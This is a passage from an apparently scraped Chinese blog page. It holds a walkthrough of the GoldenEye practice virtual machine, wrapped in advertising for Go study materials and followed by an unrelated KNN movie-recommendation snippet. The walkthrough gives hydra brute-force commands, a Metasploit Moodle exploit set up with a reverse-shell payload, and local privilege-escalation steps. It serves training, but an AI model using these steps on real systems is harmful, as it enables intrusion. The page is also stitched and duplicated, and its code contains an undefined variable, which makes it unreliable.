1、GoldenEye-靶机-百个项目计划_goldeneye 靶机,Golang面试复习

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新Golang全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip1024b (备注go)
img

正文

第一封邮件:

娜塔莉亚,请你停止破解鲍里斯的密码。 此外,您是 GNO 培训主管。 一旦学生被指定给你,我就会给你发电子邮件。

此外,请注意可能的网络漏洞。 我们获悉,一个名为 Janus 的犯罪集团正在追捕 GoldenEye。


第二封邮件:

好的 Natalyn 我有一个新学生给你。 由于这是一个新系统,如果您看到任何配置问题,请告诉我或鲍里斯,尤其是它与安全有关的问题……即使不是,也只需以“安全”为幌子输入……它就会 轻松升级变更单:)

好的,用户信用是:

username:xenia

password:RCP90rulez!

鲍里斯验证了她是一个有效的承包商,所以只需创建帐户好吗?

如果您没有外部内部域的 URL:severnaya-station.com/gnocertdir

**请务必编辑您的主机文件,因为您通常在远程离线工作…

由于您是 Linux 用户,因此只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com。


其中第二封邮件给出重要信息账号密码和内部域

配置本地HOSTS文件

vim /etc/hosts
192.168.10.134 severnaya-station.com

c46cc21463bd036b24197468c03a622e.png

在打开网址severnaya-station.com/gnocertdir/

98f889643033ae86f96d541a64bda4eb.png

发现这里有Moodle cms框架,点击:

cb3045b99b276c33d6c4b70e80e92681.png

发现有需要输入账号密码,用之前邮箱里给的账号密码进入看看,上面邮件里用户xenia的。

4e95588cbb6d7523329fc92c86df11a0.png

成功进入

dc5a67b222ee06f212ae4d1f799c0feb.png

这里又看到一个人名doak

bf08e05284dd0a255f2879f2f3c8d494.png

我们将他写入我们的txt中

b8c3a6bd401ae200c3edddd39b041003.png

继续拿去爆破hydra -L labi.txt -P /usr/share/wordlists/fasttrack.txt 192.168.10.134 -s 55007 pop3这里也可以-l指定用户名hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.10.134 -s 55007 pop3

b109fb775c904c80dd871fe8a62faf64.png

爆破出来login: doak password: goat

继续用nc去连接查看信息

ed770efe8cfedd78f95faa3d74d675cd.png

邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

用户名:dr_doak

密码:4England!

回到之前浏览器界面登陆一下

6da919d3318f607fb21886bdc6c63480.png

2bda4030c5394ff91b758b35b7b24034.png

有一个版本号有一个txt,打开txt看看有什么好东西:

38488f888199524752ce57ccb94b7462.png

还是那句话英语太烂了,拿去翻译一下

32ec98d2a786df6817f22c2bce016ff5.png

他说更多的东西在图片的目录里,那我们看看吧

d48aeec7d699025495f7b92ead652d7f.png

是上面这张图片下载下来wget http://192.168.10.134/dir007key/for-007.jpg

这里我们可以用exiftool(图虫)看一下图片里有没有什么隐藏信息,这里涉及一些ctf知识,大家不用担心,不会咱们就去查。

23ceeb8531419d291617d9526f4e2564.png

一眼就看到这里很奇怪是个base64编码的我们去解码一下

7a9c58cfd60cf52996973770c09ec7af.png

解码的结果是xWinter1995x!其中有说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。那就可以试试用户名:admin密码:xWinter1995x!的登陆

8b1328925b0b28cd8de7a35cfd225b37.png

成功进入到管理员的界面,可以看到我们的管理员界面了该干嘛?getshell干嘛,愣着啊!一些常见getshell手段:文件包含漏洞、SQL注入漏洞、文件上传漏洞、暴力破解、木马攻击。如果我们知道该系统存在的历史漏洞,我们也可以通过历史漏洞来拿shell。

3f6ffc43d46c1526ee207a643ae504c3.png

通过搜索可以看到我们可以利用漏洞CVE-2013-3630

这里我们可以利用msf这款工具:Metasploit Framework(MSF)是一款开源安全漏洞监测工具,该工具已附带数千个已知的软件漏洞,且仍在保持更新。

msfconsole                            #进入MSF框架攻击界面
search moodle                       #查找 moodle类型漏洞
use 1                                      #调用1 exp
show options                          #查看需要什么条件

0f9e8841d1ce41c525a749da257d4c14.png

看到这里也有我们之前找的漏洞CVE-2013-3630

在use 1调用exp,在show options看一下需要什么条件。

8060eca0084d2f138b2d1405ac03a07c.png

根据给出的一个一个设置:

set username admin                           #设置用户名
set password xWinter1995x!              #设置密码
set rhost severnaya-station.com        #设置:rhosts
set targeturi /gnocertdir                      #设置目录: /

c907d647ce3222a530a35b470d2ac7ab.png

然后在设置payload让他回弹set payload cmd/unix/reverse

在输入show options看看还需要设置什么。

4082bd4e18c84fc434e4942d22598e95.png

需要设置LHOST,本机IP是192.168.10.132,输入set lhost 192.168.10.132让他回来找咱们,这里我们还不可以run。我们还需要修改执行PSpellShell,在次登陆admin的账户依次点击

1fe1f8a7d5c58e6e506d2d744e1f854c.png

f96c23bf7b675c92e99f2a53d163df99.png

改成PSpellShell在点击保存

57acc73c985453b20ef125dc12b547d7.png

然后就可以run了

97239e880156b04dc415faf2d644dcc5.png

这里显示已经成功建立会话,看一下现在的用户whoami

31e1223b68f940a5f5b99635112f0737.png

看看有没有装python,如果装了python的话可以输入python -c 'import pty; pty.spawn("/bin/bash")'这是一个 Python 命令,用于在交互式 Bash shell 中执行命令。命令中 pty 模块提供了一个伪终端接口,使得可以在终端上执行命令并输出结果。具体来说,pty.spawn(“/bin/bash”) 命令会创建一个 Bash 进程,并将其连接到伪终端。然后,你可以在 Bash shell 中执行任意命令,并且可以使用 TAB 键自动完成命令和路径。这个命令通常被用于在渗透测试和攻击中,以获取更高的权限或者用于维持对目标系统的访问。它可以帮助攻击者欺骗目标系统,使其认为攻击者已经获得了更高的权限或控制权。

25db3bb0b938b6184c3bbee92da13d7e.png

现在我们是已经拿到了该主机的权限,接下来要做的就是提权了,首先查看下该主机版本号uname -a

99d015084c4aeee5451119eab0063a4c.png

这里可以看到是Linux ubuntu 3.13.0版本的,那么接下来我们查一下有没有攻击脚本给我们利用一下

338ef08264c80141562ad39ed1acb836.png

还真有

41c82671fbbc386ba8491baa39c8d98b.png

看到这里是由gcc编译的,所以对方的主机中需要安装gcc,这里看看gcc安装了没gcc -h很明显并没有安装。

34a8e030d8113bd2afcc4119ff8c2e0c.png

cc -h看下有没有安装cc编译,可以看到存在该目录。

bec84f4596ad20437edddda72b3496a0.png

在我们kali攻击机中也有漏洞库的可以通过searchsploit 37292查看

9c559b09dc8c6158f2108a7789300ec2.png

cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/把他复制到我们的桌面上来。

2ca4ffdc7d78d668edae1d8198013100.png

用vim 37292.c来编辑一下

ad4a9541c6b520483f58767b98c762b5.png

把这里gcc编译的改为cc保存后退出。开启一个python -m http.server 8085端口的一个服务

078910efb9960e1556fdc32d9e6a3499.png

这里我们回到之前主机操作,进入tmp目录。

99316c2dcd6410ca63a1d3274a2be0d9.png

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
作,进入tmp目录。

99316c2dcd6410ca63a1d3274a2be0d9.png

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
[外链图片转存中…(img-h8zKlD0p-1713689516652)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 19
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,针对您的问题,我可以提供一个KNN算法模型来实现电影推荐功能。下面是代码实现和解释: 首先,我们需要准备好电影评分数据集,这里我们使用MovieLens数据集中的评分数据集。然后,我们还需要准备一个新用户的电影评分数据,用于为其推荐电影。 ```python import pandas as pd # 读取评分数据集 ratings_data = pd.read_csv('ratings.csv') # 构建评分矩阵 ratings_matrix = ratings_data.pivot_table(index='userId', columns='movieId', values='rating') # 新用户的电影评分 new_user_ratings = { 1: 5.0, # Toy Story 2: 4.0, # Jumanji 3: 2.0, # Grumpier Old Men 4: 3.0, # Waiting to Exhale 5: 5.0, # Father of the Bride Part II 6: 3.0, # Heat 7: 4.0, # Sabrina 8: 5.0, # Tom and Huck 9: 3.0, # Sudden Death 10: 2.0, # GoldenEye } ``` 接下来,我们可以使用sklearn中的KNeighborsRegressor来建立KNN模型。这里我们使用余弦相似度作为距离度量,选取K=10。然后,我们可以使用模型对新用户进行电影推荐: ```python from sklearn.neighbors import KNeighborsRegressor from sklearn.metrics.pairwise import cosine_similarity import numpy as np # 计算余弦相似度 similarity_matrix = cosine_similarity(ratings_matrix) # 将新用户的评分数据转换为特征向量 new_user_vector = np.zeros((1, ratings_matrix.shape[1])) for movie_id, rating in new_user_ratings.items(): new_user_vector[0, movie_id - 1] = rating # 使用KNN模型进行电影推荐 knn = KNeighborsRegressor(n_neighbors=10, metric='cosine') knn.fit(ratings_matrix, np.arange(ratings_matrix.shape[0])) neighbor_indices = knn.kneighbors(new_user_vector, return_distance=False)[0] # 根据相似度对电影进行加权平均 recommendations = [] for movie_id in range(1, ratings_matrix.shape[1] + 1): if new_user_vector[0, movie_id - 1] == 0: rating_sum = 0 weight_sum = 0 for neighbor_index in neighbor_indices: rating = ratings_matrix.iloc[neighbor_index, movie_id - 1] similarity = similarity_matrix[new_user_index, neighbor_index] rating_sum += rating * similarity weight_sum += similarity if weight_sum > 0: rating_mean = rating_sum / weight_sum recommendations.append((movie_id, rating_mean)) # 根据评分排序,推荐Top-N电影 recommendations = sorted(recommendations, key=lambda x: x[1], reverse=True) top_n = 5 recommended_movies = [] for movie_id, rating in recommendations[:top_n]: recommended_movies.append(movie_id) ``` 根据上述代码,我们可以得到推荐给新用户的Top-5电影。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值